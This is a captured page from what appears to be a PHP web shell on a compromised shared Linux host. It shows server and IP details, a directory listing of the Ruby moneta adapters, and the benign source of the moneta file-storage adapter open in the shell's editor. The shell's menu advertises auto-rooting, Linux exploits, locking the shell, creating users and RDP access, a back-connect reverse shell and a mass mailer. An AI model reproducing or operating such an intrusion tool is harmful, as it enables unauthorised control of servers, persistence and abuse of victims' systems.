Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
moneta /
adapters /
[ HOME SHELL ]
Name
Size
Permission
Action
memcached
[ DIR ]
drwxr-xr-x
mongo
[ DIR ]
drwxr-xr-x
activerecord.rb
4.47
KB
-rw-r--r--
cassandra.rb
3.37
KB
-rw-r--r--
client.rb
2.05
KB
-rw-r--r--
cookie.rb
967
B
-rw-r--r--
couch.rb
3.85
KB
-rw-r--r--
datamapper.rb
2.34
KB
-rw-r--r--
daybreak.rb
1.17
KB
-rw-r--r--
dbm.rb
615
B
-rw-r--r--
file.rb
3.18
KB
-rw-r--r--
fog.rb
1.54
KB
-rw-r--r--
gdbm.rb
606
B
-rw-r--r--
hbase.rb
3.06
KB
-rw-r--r--
leveldb.rb
929
B
-rw-r--r--
lmdb.rb
2.17
KB
-rw-r--r--
localmemcache.rb
766
B
-rw-r--r--
lruhash.rb
2.69
KB
-rw-r--r--
memcached.rb
385
B
-rw-r--r--
memory.rb
450
B
-rw-r--r--
mongo.rb
225
B
-rw-r--r--
null.rb
668
B
-rw-r--r--
pstore.rb
1.97
KB
-rw-r--r--
redis.rb
2.35
KB
-rw-r--r--
restclient.rb
1.31
KB
-rw-r--r--
riak.rb
1.69
KB
-rw-r--r--
sdbm.rb
606
B
-rw-r--r--
sequel.rb
3.74
KB
-rw-r--r--
sqlite.rb
2.68
KB
-rw-r--r--
tdb.rb
609
B
-rw-r--r--
tokyocabinet.rb
1.38
KB
-rw-r--r--
tokyotyrant.rb
3.24
KB
-rw-r--r--
yaml.rb
238
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : file.rb
require 'fileutils' module Moneta module Adapters # Filesystem backend # @api public class File include Defaults supports :create, :increment # @param [Hash] options # @option options [String] :dir Directory where files will be stored def initialize(options = {}) raise ArgumentError, 'Option :dir is required' unless @dir = options[:dir] FileUtils.mkpath(@dir) raise "#{@dir} is not a directory" unless ::File.directory?(@dir) end # (see Proxy#key?) def key?(key, options = {}) ::File.exist?(store_path(key)) end # (see Proxy#load) def load(key, options = {}) ::File.read(store_path(key), mode: 'rb') rescue Errno::ENOENT end # (see Proxy#store) def store(key, value, options = {}) temp_file = ::File.join(@dir, "value-#{$$}-#{Thread.current.object_id}") path = store_path(key) FileUtils.mkpath(::File.dirname(path)) ::File.open(temp_file, 'wb') {|f| f.write(value) } ::File.rename(temp_file, path) value rescue Exception File.unlink(temp_file) rescue nil raise end # (see Proxy#delete) def delete(key, options = {}) value = load(key, options) ::File.unlink(store_path(key)) value rescue Errno::ENOENT end # (see Proxy#clear) def clear(options = {}) temp_dir = "#{@dir}-#{$$}-#{Thread.current.object_id}" ::File.rename(@dir, temp_dir) FileUtils.mkpath(@dir) self rescue Errno::ENOENT self ensure FileUtils.rm_rf(temp_dir) end # (see Proxy#increment) def increment(key, amount = 1, options = {}) path = store_path(key) FileUtils.mkpath(::File.dirname(path)) ::File.open(path, ::File::RDWR | ::File::CREAT) do |f| Thread.pass until f.flock(::File::LOCK_EX) content = f.read amount += Utils.to_int(content) unless content.empty? content = amount.to_s f.binmode f.pos = 0 f.write(content) f.truncate(content.bytesize) amount end end # HACK: The implementation using File::EXCL is not atomic under JRuby 1.7.4 # See https://github.com/jruby/jruby/issues/827 if defined?(JRUBY_VERSION) # (see Proxy#create) def create(key, value, options = {}) path = store_path(key) FileUtils.mkpath(::File.dirname(path)) # Call native java.io.File#createNewFile return false unless ::Java::JavaIo::File.new(path).createNewFile ::File.open(path, 'wb+') {|f| f.write(value) } true end else # (see Proxy#create) def create(key, value, options = {}) path = store_path(key) FileUtils.mkpath(::File.dirname(path)) ::File.open(path, ::File::WRONLY | ::File::CREAT | ::File::EXCL) do |f| f.binmode f.write(value) end true rescue Errno::EEXIST false end end protected def store_path(key) ::File.join(@dir, key) end end end end
Close